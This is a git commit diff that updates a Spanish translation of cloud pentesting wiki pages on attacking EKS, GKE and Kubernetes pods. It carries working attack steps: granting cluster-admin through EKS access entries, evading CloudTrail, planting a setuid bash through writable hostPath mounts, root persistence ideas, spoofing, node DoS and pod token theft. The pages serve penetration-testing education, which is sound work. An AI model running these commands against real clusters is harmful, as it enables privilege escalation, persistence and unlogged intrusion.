Translated ['', 'src/pentesting-cloud/kubernetes-security/pentesting-kub

This commit is contained in:
Translator
2026-07-09 09:22:46 +00:00
parent 271b23cc58
commit f4bb64ca96
11 changed files with 641 additions and 479 deletions
@@ -4,7 +4,7 @@
## EKS
Para obtener más información, consulta
Para más información, revisa
{{#ref}}
../../aws-services/aws-eks-enum.md
@@ -12,7 +12,7 @@ Para obtener más información, consulta
### Enumerate the cluster from the AWS Console
Si tienes el permiso **`eks:AccessKubernetesApi`** puedes **view Kubernetes objects** a través de AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
Si tienes el permiso **`eks:AccessKubernetesApi`** puedes **ver objetos de Kubernetes** a través de la consola de AWS EKS ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
### Connect to AWS Kubernetes Cluster
@@ -21,9 +21,9 @@ Si tienes el permiso **`eks:AccessKubernetesApi`** puedes **view Kubernetes obje
# Generate kubeconfig
aws eks update-kubeconfig --name aws-eks-dev
```
- Not that easy way:
- No tan fácil:
Si puedes **obtener un token** con **`aws eks get-token --name <cluster_name>`** pero no tienes permisos para obtener información del cluster (describeCluster), podrías **preparar tu propio `~/.kube/config`**. Sin embargo, teniendo el token, todavía necesitas el **url endpoint al que conectarte** (si conseguiste obtener un JWT token de un pod lee [here](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) y el **nombre del cluster**.
Si puedes **obtener un token** con **`aws eks get-token --name <cluster_name>`** pero no tienes permisos para obtener información del cluster (describeCluster), podrías **preparar tu propio `~/.kube/config`**. Sin embargo, teniendo el token, todavía necesitas el **url endpoint al que conectarte** (si lograste obtener un JWT token de un pod lee [aquí](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) y el **nombre del cluster**.
En mi caso, no encontré la información en los logs de CloudWatch, pero la **encontré en LaunchTemaplates userData** y también en **máquinas EC2 en userData**. Puedes ver esta información en **userData** fácilmente, por ejemplo en el siguiente ejemplo (el nombre del cluster era cluster-name):
```bash
@@ -72,53 +72,53 @@ provideClusterInfo: false
### From AWS to Kubernetes
El **creator** del **EKS cluster** **SIEMPRE** va a poder entrar en la parte del cluster de kubernetes del grupo **`system:masters`** (k8s admin). En el momento de escribir esto **no hay una forma directa** de encontrar **quién creó** el cluster (puedes revisar CloudTrail). Y **no hay forma** de **eliminar** ese **privilege**.
Históricamente, el **creator** de un **EKS cluster** recibía hidden Kubernetes admin access que no era visible en `aws-auth`. En los EKS clusters actuales, esto depende de la cluster access configuration. `bootstrapClusterCreatorAdminPermissions` controla si el creator se añade como un cluster-admin access entry durante la creación, y los EKS access entries hacen que esa ruta de admin sea visible y revocable a través de la EKS API. Los clusters antiguos o los clusters que aún dependen de `aws-auth` podrían seguir teniendo el comportamiento legacy del creator, así que confirma el `accessConfig`, lista los access entries y revisa CloudTrail en lugar de asumir que el creator siempre tiene `system:masters` irremovible.
#### Abusing configmap
La forma tradicional de conceder **access to over K8s to more AWS IAM users or roles** es usando el **configmap** **`aws-auth`**.
La forma tradicional de conceder **access to over K8s to more AWS IAM users or roles** es usar el **configmap** **`aws-auth`**.
> [!WARNING]
> Therefore, anyone with **write access** over the config map **`aws-auth`** will be able to **compromise the whole cluster**.
Para más información sobre cómo **grant extra privileges to IAM roles & users** en la **misma o diferente cuenta** y cómo **abuse** esto para [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
Para más información sobre cómo **grant extra privileges to IAM roles & users** en la **same or different account** y cómo **abuse** esto para [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
Check also[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**.
#### Abusing Access Entries
AWS implementes an additional way to grant IAM users access to the Kubernetes cluster through access entries. If you have the `eks:CreateAccessEntry` and `eks:AssociateAccessPolicy` permissions, you may also be able to assign a Kubernetes administrator role to either your user or a specific rol.
AWS implementa una forma adicional de conceder a los usuarios IAM access al Kubernetes cluster mediante access entries. Si tienes los permisos `eks:CreateAccessEntry` y `eks:AssociateAccessPolicy`, también podrías ser capaz de asignar un Kubernetes administrator role a tu usuario o a un role específico.
First, **create an access entry for your user or role**:
Primero, **create an access entry for your user or role**:
```
aws eks create-access-entry --cluster-name <cluster_name> --region <region> --principal-arn <arn_from_your_user_or_role> --type STANDARD
```
Con esa entrada creada, ahora puede que seas capaz de asignarle una policy directamente. Hay una policy integrada de AWS llamada *AmazonEKSClusterAdminPolicy* que puede usarse directamente. Ten en cuenta que, si tu entorno tiene otras custom policies que también conceden privilegios elevados en EKS, puedes cambiar `--policy-arn` a cualquiera de ellas:
Con esa entrada creada, ahora es posible que puedas asignarle una policy directamente. Existe una policy integrada de AWS llamada *AmazonEKSClusterAdminPolicy* que puede usarse directamente. Ten en cuenta que, si tu entorno tiene otras custom policies que también conceden privilegios elevados en EKS, puedes cambiar el `--policy-arn` por cualquiera de ellas:
```
aws eks associate-access-policy --cluster-name <cluster_name> --region <region> --principal-arn <arn_from_your_user_or_role> --policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy --access-scope type=cluster
```
Puedes buscar esta policy en la documentación oficial de AWS [**aquí**](https://docs.aws.amazon.com/eks/latest/userguide/access-policy-permissions.html#access-policy-permissions-amazoneksclusteradminpolicy)
Puedes buscar esta policy en la documentación oficial de AWS [**here**](https://docs.aws.amazon.com/eks/latest/userguide/access-policy-permissions.html#access-policy-permissions-amazoneksclusteradminpolicy)
A partir de este punto, ahora podrías solicitar un token de *k8s* e interactuar con el cluster como administrador:
```
aws eks get-token --cluster-name <cluster_name> --output json | jq -r '.status.token'
```
### From Kubernetes to AWS
### De Kubernetes a AWS
Es posible permitir una **OpenID authentication for kubernetes service account** para que puedan asumir roles en aws. Aprende cómo [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
Es posible permitir una **OpenID authentication for kubernetes service account** para permitirles asumir roles en AWS. Aprende cómo [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
### GET Api Server Endpoint from a JWT Token
### Obtener el endpoint del Api Server desde un JWT Token
Decodificando el JWT token obtenemos el cluster id y también la region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Sabiendo que el formato estándar de la url de EKS es
Decodificando el JWT token obtenemos el cluster id y también la región. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Sabiendo que el formato estándar para la url de EKS es
```bash
https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
```
No encontré ninguna documentación que explique los criterios para los 'two chars' y el 'number'. Pero haciendo algunas pruebas por mi cuenta veo que se repiten estos:
No encontré ninguna documentación que explique los criterios para los "two chars" y el "number". Pero haciendo algunas pruebas por mi cuenta veo que se repiten estos:
- gr7
- yl4
De todos modos, solo son 3 chars, podemos hacer bruteforce. Usa el siguiente script para generar la lista
De todos modos, solo son 3 chars, podemos hacer brute force sobre ellos. Usa el siguiente script para generar la lista
```python
from itertools import product
from string import ascii_lowercase
@@ -143,21 +143,21 @@ wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws
### Bypass CloudTrail
Si un atacante obtiene credenciales de un AWS con **permission over an EKS**. Si el atacante configura su propio **`kubeconfig`** (sin llamar a **`update-kubeconfig`**) como se explicó anteriormente, **`get-token`** no genera logs en Cloudtrail porque no interactúa con la AWS API (solo crea el token localmente).
Si un atacante obtiene credenciales de un AWS con **permiso sobre un EKS**. Si el atacante configura su propio **`kubeconfig`** (sin llamar a **`update-kubeconfig`**) como se explicó anteriormente, **`get-token`** no genera logs en Cloudtrail porque no interactúa con la API de AWS (solo crea el token localmente).
Así que cuando el atacante habla con el clúster EKS, **cloudtrail no registrará nada relacionado con el usuario robado y su acceso**.
Así que cuando el atacante habla con el clúster EKS, **cloudtrail no registrará nada relacionado con el usuario robado y el acceso al mismo**.
Ten en cuenta que el **clúster EKS puede tener logs habilitados** que registrarán este acceso (aunque, por defecto, están deshabilitados).
Ten en cuenta que el **clúster EKS podría tener logs habilitados** que registrarán este acceso (aunque, por defecto, están deshabilitados).
### EKS Ransom?
### ¿EKS Ransom?
Por defecto, el **usuario o role que creó** un clúster **SIEMPRE** va a tener privilegios de admin sobre el clúster. Y ese es el único acceso "seguro" que AWS tendrá sobre el clúster de Kubernetes.
Así que, si un **atacante compromete un clúster usando fargate** y **elimina todos los demás admins** y **borra el usuario/role de AWS que creó** el clúster, ~~el atacante podría haber **ransomed the cluste**~~**r**.
Así que, si un **atacante compromete un clúster usando fargate** y **elimina a todos los demás admins** y d**eletea el usuario/role de AWS que creó** el Clúster, ~~el atacante podría haber **ransomed the cluste**~~**r**.
> [!TIP]
> Ten en cuenta que si el clúster estaba usando **EC2 VMs**, podría ser posible obtener privilegios de Admin desde el **Node** y recuperar el clúster.
>
> De hecho, si el clúster usa Fargate podrías usar nodos EC2 o mover todo a EC2 en el clúster y recuperarlo accediendo a los tokens en el nodo.
> En realidad, si el clúster está usando Fargate podrías EC2 nodes o mover todo a EC2 al clúster y recuperarlo accediendo a los tokens en el node.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -32,7 +32,7 @@ En la siguiente página puedes ver cómo **abuse container permissions to escala
## Node Pools
Estos son los grupos de máquinas (nodes) que forman los clusters de kubernetes.
Estos son el pool de machines (nodes) que forman los clusters de kubernetes.
```bash
# Pool of machines used by the cluster
gcloud container node-pools list --zone <zone> --cluster <cluster>
@@ -40,7 +40,7 @@ gcloud container node-pools describe --cluster <cluster> --zone <zone> <node-poo
```
## Kubernetes
Para información sobre qué es Kubernetes, consulta esta página:
Para obtener información sobre qué es Kubernetes, consulta esta página:
{{#ref}}
../../kubernetes-security/
@@ -50,13 +50,13 @@ Primero, puedes comprobar si existen clústeres de Kubernetes en tu proyecto.
```
gcloud container clusters list
```
Si tienes un cluster, puedes hacer que `gcloud` configure automáticamente tu archivo `~/.kube/config`. Este archivo se usa para autenticarte cuando usas [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/), la CLI nativa para interactuar con clusters de K8s. Prueba este comando.
Si tienes un cluster, puedes hacer que `gcloud` configure automáticamente tu archivo `~/.kube/config`. Este archivo se usa para autenticarte cuando usas [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/), el CLI nativo para interactuar con clusters de K8s. Prueba este comando.
```
gcloud container clusters get-credentials [CLUSTER NAME] --region [REGION]
```
Entonces, echa un vistazo al archivo `~/.kube/config` para ver las credenciales generadas. Este archivo se usará para actualizar automáticamente los tokens de acceso basándose en la misma identidad que está usando tu sesión activa de `gcloud`. Esto, por supuesto, requiere que estén establecidos los permisos correctos.
Luego, echa un vistazo al archivo `~/.kube/config` para ver las credenciales generadas. Este archivo se usará para actualizar automáticamente los access tokens basándose en la misma identidad que está usando tu sesión activa de `gcloud`. Esto, por supuesto, requiere que los permisos correctos estén en su lugar.
Una vez que esto esté configurado, puedes probar el siguiente comando para obtener la configuración del cluster.
Una vez configurado esto, puedes probar el siguiente comando para obtener la configuración del cluster.
```
kubectl cluster-info
```
@@ -64,11 +64,11 @@ Puedes leer más sobre `gcloud` para containers [aquí](https://cloud.google.com
Este es un script simple para enumerar kubernetes en GCP: [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum)
### Current GKE identity and metadata checks
### Comprobaciones actuales de identidad y metadata de GKE
Al revisar clusters modernos de GKE, separa los permisos Google Cloud IAM, Kubernetes RBAC, la identidad de workload del pod y las credenciales del nodo. Un principal de Google a menudo puede recuperar datos del endpoint del cluster con `container.clusters.get`, pero las solicitudes Kubernetes resultantes aún necesitan pasar la autorización GKE/Kubernetes y cualquier restricción de red como private endpoints o authorized networks.
Al revisar clusters modernos de GKE, separa los permisos de Google Cloud IAM, Kubernetes RBAC, la identidad de workload del pod y las credenciales del node. Un principal de Google a menudo puede recuperar datos del endpoint del cluster con `container.clusters.get`, pero las solicitudes de Kubernetes resultantes aún necesitan pasar la autorización de GKE/Kubernetes y cualquier restricción de red, como private endpoints o authorized networks.
Workload Identity Federation for GKE es la forma preferida para que los pods accedan a Google Cloud APIs. Comprueba si el cluster tiene un workload pool y si las service accounts de Kubernetes están asignadas directamente como IAM principals o si se les permite impersonate IAM service accounts:
Workload Identity Federation para GKE es la forma preferida para que los pods accedan a Google Cloud APIs. Comprueba si el cluster tiene un workload pool y si los Kubernetes service accounts están mapeados directamente como IAM principals o si se les permite impersonate IAM service accounts:
```bash
gcloud container clusters describe <cluster> --region <region> \
--format='value(workloadIdentityConfig.workloadPool)'
@@ -76,15 +76,29 @@ gcloud container clusters describe <cluster> --region <region> \
kubectl get serviceaccounts -A -o yaml | grep -n 'iam.gke.io' -B 5 -A 8
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName'
```
Si una service account tiene la anotación `iam.gke.io/gcp-service-account`, revisa la política de IAM de la service account para concesiones de `roles/iam.workloadIdentityUser` a principals de Kubernetes service account. También comprueba las políticas IAM allow para principals directos de workload identity o conjuntos de principals amplios.
Si una service account tiene la anotación `iam.gke.io/gcp-service-account`, revisa la policy de la service account de IAM para grants de `roles/iam.workloadIdentityUser` a principals de Kubernetes service account. También revisa las IAM allow policies para principals directos de Workload Identity o grants amplios de `principalSet://`, como acceso de Workload amplio a nivel de namespace o de cluster. La anotación `iam.gke.io/credential-quota-project` solo mueve el quota de IAM Service Account Credentials API a otro project; el workload principal todavía necesita `serviceusage.services.use` en ese quota project y acceso IAM separado al recurso objetivo.
El acceso a metadata depende del modo del cluster, la configuración del node pool y los ajustes del workload. No asumas que cada pod puede robar la node service account. En entornos con Workload Identity habilitado, los pods normales deberían usar el GKE metadata server para obtener la workload identity destinada a su Kubernetes service account. La compromise del nodo, los pods `hostNetwork` en algunas configuraciones Standard y la exposición heredada de metadata del nodo aún pueden cambiar el blast radius, así que verifica el modo real de metadata del node pool, la node service account, los OAuth scopes y la ubicación del pod.
El acceso a metadata depende del modo del cluster, la configuración del node pool y los ajustes del workload. No asumas que cualquier pod puede robar la service account del node. En entornos con Workload Identity habilitado, los pods normales deberían usar el GKE metadata server para obtener la workload identity prevista para su Kubernetes service account. La compromisión del node, los pods `hostNetwork` en algunas configuraciones Standard y la exposición legacy de metadata del node aún pueden cambiar el blast radius, así que verifica el modo real de metadata del node pool, la service account del node, los OAuth scopes y la ubicación del pod.
Si un pod con Workload Identity habilitado no puede obtener un token, también revisa el egress de NetworkPolicy antes de asumir que la binding de IAM está mal. Los clusters GKE Standard que usan NetworkPolicy deben permitir la ruta al metadata-server requerida por la versión del cluster y el dataplane, y Dataplane V2 usa la ruta `169.254.169.254` para acceso al metadata-server.
### Autopilot privileged workload allowlists
GKE Autopilot bloquea por defecto la mayoría de los privileged workloads, pero pueden existir excepciones aprobadas. Revisa la privileged admission settings, los objetos `AllowlistSynchronizer` y los objetos `WorkloadAllowlist` instalados antes de asumir que un pod privilegiado es imposible:
```bash
gcloud container clusters describe <cluster> --region <region> \
--format='yaml(autopilot,privilegedAdmissionConfig,clusterPolicyConfig)'
kubectl get allowlistsynchronizers.auto.gke.io -A -o yaml
kubectl get workloadallowlists.auto.gke.io -A -o yaml
```
Las rutas de allowlist pueden ser propiedad de GKE (`gke://...`) o rutas de Cloud Storage propiedad del cliente (`gs://...`). Los wildcards y las rutas amplias de bucket aumentan el blast radius porque futuros archivos allowlist bajo esa ruta podrían llegar a ser válidos para el cluster. Cuando se instala un `WorkloadAllowlist`, compara sus exemptions y matching criteria con el pod spec, especialmente image digests, host namespaces, writable hostPath mounts, host ports, Linux capabilities, y si `autopilot.gke.io/no-connect` impide el acceso `exec` al privileged workload.
### TLS Boostrap Privilege Escalation
Inicialmente esta técnica de privilege escalation permitía **privesc dentro del cluster GKE** y, en la práctica, permitía a un atacante **comprometerlo por completo**.
Inicialmente, esta técnica de privilege escalation permitía **privesc dentro del cluster GKE**, permitiendo de forma efectiva a un atacante **comprometerlo por completo**.
Esto se debe a que GKE proporciona [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) en la metadata, que es **accesible para cualquiera simplemente comprometiendo un pod**.
Esto se debe a que GKE proporciona credenciales de [TLS Bootstrap](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) en los metadata, las cuales son **accesibles para cualquiera con solo comprometer un pod**.
La técnica utilizada se explica en los siguientes posts:
@@ -94,12 +108,12 @@ La técnica utilizada se explica en los siguientes posts:
Y esta tool fue creada para automatizar el proceso: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein)
Sin embargo, la técnica abusaba del hecho de que **con las credenciales de metadata** era posible **generar un CSR** (Certificate Signing Request) para un **nuevo nodo**, que era **aprobado automáticamente**.\
En mi prueba comprobé que **esas requests ya no se aprueban automáticamente**, así que no estoy seguro de si esta técnica sigue siendo válida.
Sin embargo, la técnica abusaba del hecho de que **con las credenciales del metadata** era posible **generar un CSR** (Certificate Signing Request) para un **nuevo node**, que era **aprobado automáticamente**.\
En mi test comprobé que **esas requests ya no se aprueban automáticamente**, así que no estoy seguro de si esta técnica sigue siendo válida.
### Secrets in Kubelet API <a href="#the-kubelet-api-git-secrets-redux" id="the-kubelet-api-git-secrets-redux"></a>
En [**this post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) se descubrió se descubrió una dirección de Kubelet API accesible desde dentro de un pod en GKE que daba detalles de los pods en ejecución:
En [**este post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) se descubrió se descubrió una dirección de la Kubelet API accesible desde dentro de un pod en GKE, dando los detalles de los pods en ejecución:
```
curl -v -k http://10.124.200.1:10255/pods
```
@@ -10,13 +10,13 @@
### Escaping from the pod
Para intentar escapar de los pods, primero puede que necesites **escalar privilegios**, algunas técnicas para hacerlo:
Para intentar escapar de los pods, primero puede que necesites **escalar privilegios**; algunas técnicas para hacerlo:
{{#ref}}
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html
{{#endref}}
Puedes revisar estos **docker breakouts to try to escape** desde un pod que hayas comprometido:
Puedes revisar estos **docker breakouts to try to escape** de un pod que hayas comprometido:
{{#ref}}
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html
@@ -24,16 +24,16 @@ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-secu
### Abusing writable hostPath/bind mounts (container -> host root via SUID planting)
Si un pod/contenedor comprometido tiene un volumen escribible que se mapea directamente al sistema de archivos del host (Kubernetes hostPath o Docker bind mount), y puedes convertirte en root dentro del contenedor, puedes aprovechar el mount para crear un binario setuid-root en el host y luego ejecutarlo desde el host para obtener root.
Si un pod/container comprometido tiene un volume writable que se mapea directamente al filesystem del host (Kubernetes hostPath o Docker bind mount), y puedes convertirte en root dentro del container, puedes aprovechar el mount para crear un binary setuid-root en el host y luego ejecutarlo desde el host para obtener root.
Condiciones clave:
- El volumen montado es escribible desde dentro del contenedor (readOnly: false y los permisos del filesystem permiten escritura).
- El sistema de archivos del host que respalda el mount no está montado con la opción nosuid.
- Tienes alguna forma de ejecutar el binario plantado en el host (por ejemplo, otro SSH/RCE en el host, un usuario en el host puede ejecutarlo, u otro vector que ejecute binarios desde esa ruta).
- El volume montado es writable desde dentro del container (readOnly: false y los permisos del filesystem permiten escritura).
- El filesystem del host que respalda el mount no está montado con la opción nosuid.
- Tienes alguna forma de ejecutar el binary implantado en el host (por ejemplo, SSH/RCE aparte en el host, un usuario en el host puede ejecutarlo, o otro vector que ejecute binaries desde esa ruta).
Cómo identificar hostPath/bind mounts escribibles:
- Con kubectl, comprueba los volúmenes hostPath: kubectl get pod <pod> -o jsonpath='{.spec.volumes[*].hostPath.path}'
- Desde dentro del contenedor, lista los mounts y busca host-path mounts y prueba la capacidad de escritura:
- Con kubectl, comprueba los volumes hostPath: kubectl get pod <pod> -o jsonpath='{.spec.volumes[*].hostPath.path}'
- Desde dentro del container, lista los mounts y busca host-path mounts y prueba la writability:
```bash
# Inside the compromised container
mount | column -t
@@ -54,7 +54,7 @@ chmod 6777 "$MOUNT/suidbash"
ls -l "$MOUNT/suidbash"
# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash
```
Ejecutar en el host para obtener root:
Ejecuta en el host para obtener root:
```bash
# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
# Example host path: /opt/limesurvey/suidbash
@@ -62,19 +62,19 @@ ls -l /opt/limesurvey/suidbash
/opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash
```
Notas y troubleshooting:
- Si el host mount tiene nosuid, los bits setuid serán ignorados. Revisa las opciones de mount en el host (cat /proc/mounts | grep <mountpoint>) y busca nosuid.
- Si no puedes conseguir una host execution path, se pueden abusar mounts escribibles similares para escribir otros persistence/priv-esc artifacts en el host si el directorio mapeado es crítico para la seguridad (p. ej., añadir una root SSH key si el mount se mapea a /root/.ssh, soltar un cron/systemd unit si se mapea a /etc, reemplazar un binario propiedad de root en PATH que el host ejecutará, etc.). La viabilidad depende completamente de qué path esté montado.
- Esta técnica también funciona con plain Docker bind mounts; en Kubernetes normalmente es un hostPath volume (readOnly: false) o un subPath mal acotado.
- If the host mount has nosuid, setuid bits will be ignored. Check mount options on the host (cat /proc/mounts | grep <mountpoint>) and look for nosuid.
- If you cannot get a host execution path, similar writable mounts can be abused to write other persistence/priv-esc artifacts on the host if the mapped directory is security-critical (e.g., add a root SSH key if the mount maps into /root/.ssh, drop a cron/systemd unit if maps into /etc, replace a root-owned binary in PATH that the host will execute, etc.). Feasibility depends entirely on what path is mounted.
- This technique also works with plain Docker bind mounts; in Kubernetes its typically a hostPath volume (readOnly: false) or an incorrectly scoped subPath.
### Abusing Kubernetes Privileges
Como se explica en la sección sobre **kubernetes enumeration**:
As explained in the section about **kubernetes enumeration**:
{{#ref}}
kubernetes-enumeration.md
{{#endref}}
Normalmente los pods se ejecutan con un **service account token** dentro de ellos. Este service account puede tener algunos **privileges adjuntos** que podrías **abuse** para **moverte** a otros pods o incluso para **escape** a los nodes configurados dentro del cluster. Mira cómo en:
Usually the pods are run with a **service account token** inside of them. This service account may have some **privileges attached to it** that you could **abuse** to **move** to other pods or even to **escape** to the nodes configured inside the cluster. Check how in:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
@@ -82,11 +82,11 @@ abusing-roles-clusterroles-in-kubernetes/
### Abusing Cloud Privileges
Si el pod se ejecuta dentro de un **cloud environment** podrías ser capaz de l**eak a token from the metadata endpoint** y escalar privilegios usándolo.
If the pod is run inside a **cloud environment** you might be able to l**eak a token from the metadata endpoint** and escalate privileges using it.
## Search vulnerable network services
Como estás dentro del entorno Kubernetes, si no puedes escalar privilegios abusando de los privilegios de los pods actuales y no puedes escapar del container, deberías **search potencial vulnerable services.**
As you are inside the Kubernetes environment, if you cannot escalate privileges abusing the current pods privileges and you cannot escape from the container, you should **search potential vulnerable services.**
### Services
@@ -94,11 +94,11 @@ Como estás dentro del entorno Kubernetes, si no puedes escalar privilegios abus
```
kubectl get svc --all-namespaces
```
Por defecto, Kubernetes usa un esquema de red plana, lo que significa que **cualquier pod/service dentro del cluster puede comunicarse con otros**. Los **namespaces** dentro del cluster **no tienen ninguna restricción de seguridad de red por defecto**. Cualquiera en el namespace puede comunicarse con otros namespaces.
Por defecto, Kubernetes usa un esquema de red plano, lo que significa que **cualquier pod/service dentro del cluster puede comunicarse con otros**. Los **namespaces** dentro del cluster **no tienen ninguna restricción de seguridad de red por defecto**. Cualquiera en el namespace puede comunicarse con otros namespaces.
### Scanning
El siguiente script Bash (tomado de un [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) instalará y escaneará los rangos de IP del cluster de kubernetes:
El siguiente script Bash (tomado de un [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) instalará y escaneará los rangos IP del cluster de kubernetes:
```bash
sudo apt-get update
sudo apt-get install nmap
@@ -125,11 +125,11 @@ pentesting-kubernetes-services/
### Sniffing
En caso de que el **pod comprometido esté ejecutando algún servicio sensible** donde otros pods necesiten autenticarse, podrías obtener las credenciales enviadas por los otros pods **sniffing local communications**.
En caso de que el **pod comprometido esté ejecutando algún servicio sensible** donde otros pods necesiten autenticarse, podrías ser capaz de obtener las credenciales enviadas desde los otros pods **sniffing local communications**.
## Network Spoofing
Por defecto, técnicas como **ARP spoofing** (y gracias a eso **DNS Spoofing**) funcionan en la red de kubernetes. Entonces, dentro de un pod, si tienes la **capability NET_RAW** (que está ahí por defecto), podrás enviar paquetes de red personalizados y realizar **MitM attacks via ARP Spoofing to all the pods running in the same node.**\
Por defecto, técnicas como **ARP spoofing** (y gracias a ello **DNS Spoofing**) funcionan en la red de kubernetes. Entonces, dentro de un pod, si tienes la **NET_RAW capability** (que está ahí por defecto), podrás enviar paquetes de red creados a medida y realizar **MitM attacks via ARP Spoofing to all the pods running in the same node.**\
Además, si el **malicious pod** está ejecutándose en el **same node as the DNS Server**, podrás realizar un **DNS Spoofing attack to all the pods in cluster**.
{{#ref}}
@@ -138,26 +138,26 @@ kubernetes-network-attacks.md
## Node DoS
No hay especificación de recursos en los manifiestos de Kubernetes y **no applied limit** ranges para los containers. Como atacante, podemos **consumir todos los recursos donde se ejecuta el pod/deployment** y dejar sin recursos a otros y provocar un DoS en el entorno.
No hay especificación de recursos en los manifiestos de Kubernetes y **no applied limit** ranges para los containers. Como attacker, podemos **consume all the resources where the pod/deployment running** y agotar otros recursos y causar un DoS para el entorno.
Esto se puede hacer con una herramienta como [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng):
Esto se puede hacer con una tool como [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng):
```
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
```
Puedes ver la diferencia mientras se ejecuta `stress-ng` y después
Puedes ver la diferencia entre mientras se ejecuta `stress-ng` y después
```bash
kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx
```
## Node Post-Exploitation
Si lograste **escape from the container**, hay algunas cosas interesantes que encontrarás en el node:
Si lograste **escapar del container** hay algunas cosas interesantes que encontrarás en el node:
- El proceso **Container Runtime** (Docker)
- El proceso de **Container Runtime** (Docker)
- Más **pods/containers** ejecutándose en el node que puedes abusar como este (más tokens)
- Todo el **filesystem** y el **OS** en general
- El servicio **Kube-Proxy** escuchando
- El servicio **Kubelet** escuchando. Revisa los archivos de configuración:
- Directorio: `/var/lib/kubelet/`
- El servicio **Kubelet** escuchando. Revisa los config files:
- Directory: `/var/lib/kubelet/`
- `/var/lib/kubelet/kubeconfig`
- `/var/lib/kubelet/kubelet.conf`
- `/var/lib/kubelet/config.yaml`
@@ -171,9 +171,15 @@ Si lograste **escape from the container**, hay algunas cosas interesantes que en
- `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration**
- `/etc/kubernetes/pki` - **Kubernetes Key**
### Image Pull and Registry Credentials
After node access, also review how the node pulls private images. Useful evidence includes runtime image metadata (`crictl images`), Pod or ServiceAccount `imagePullSecrets`, containerd registry configuration such as `/etc/containerd/config.toml` and `/etc/containerd/certs.d`, and kubelet image credential provider flags such as `--image-credential-provider-config` and `--image-credential-provider-bin-dir`.
Do not assume that a cached private image means you have reusable registry credentials. It might only prove that the image exists on this node. However, static runtime registry credentials, Docker config JSON pull secrets, or a credential provider that can mint short-lived pull credentials can expose private registry access. Recent Kubernetes versions also support service-account-token based kubelet credential providers for image pulls, so check whether the provider is using Pod-bound service account tokens and which audience it requests before reporting the impact.
### Find node kubeconfig
Si no puedes encontrar el archivo kubeconfig en alguna de las rutas comentadas anteriormente, **revisa el argumento `--kubeconfig` del proceso kubelet**:
If you cannot find the kubeconfig file in one of the previously commented paths, **check the argument `--kubeconfig` of the kubelet process**:
```
ps -ef | grep kubelet
root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal
@@ -199,20 +205,20 @@ echo ""
fi
done
```
El script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) obtendrá automáticamente **los tokens de otros pods y comprobará si tienen el permiso** que estás buscando (en vez de que los revises 1 por 1):
El script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) obtendrá automáticamente **los tokens de otros pods y comprobará si tienen el permiso** que estás buscando (en lugar de que los revises 1 por 1):
```bash
./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code
```
### Privileged DaemonSets
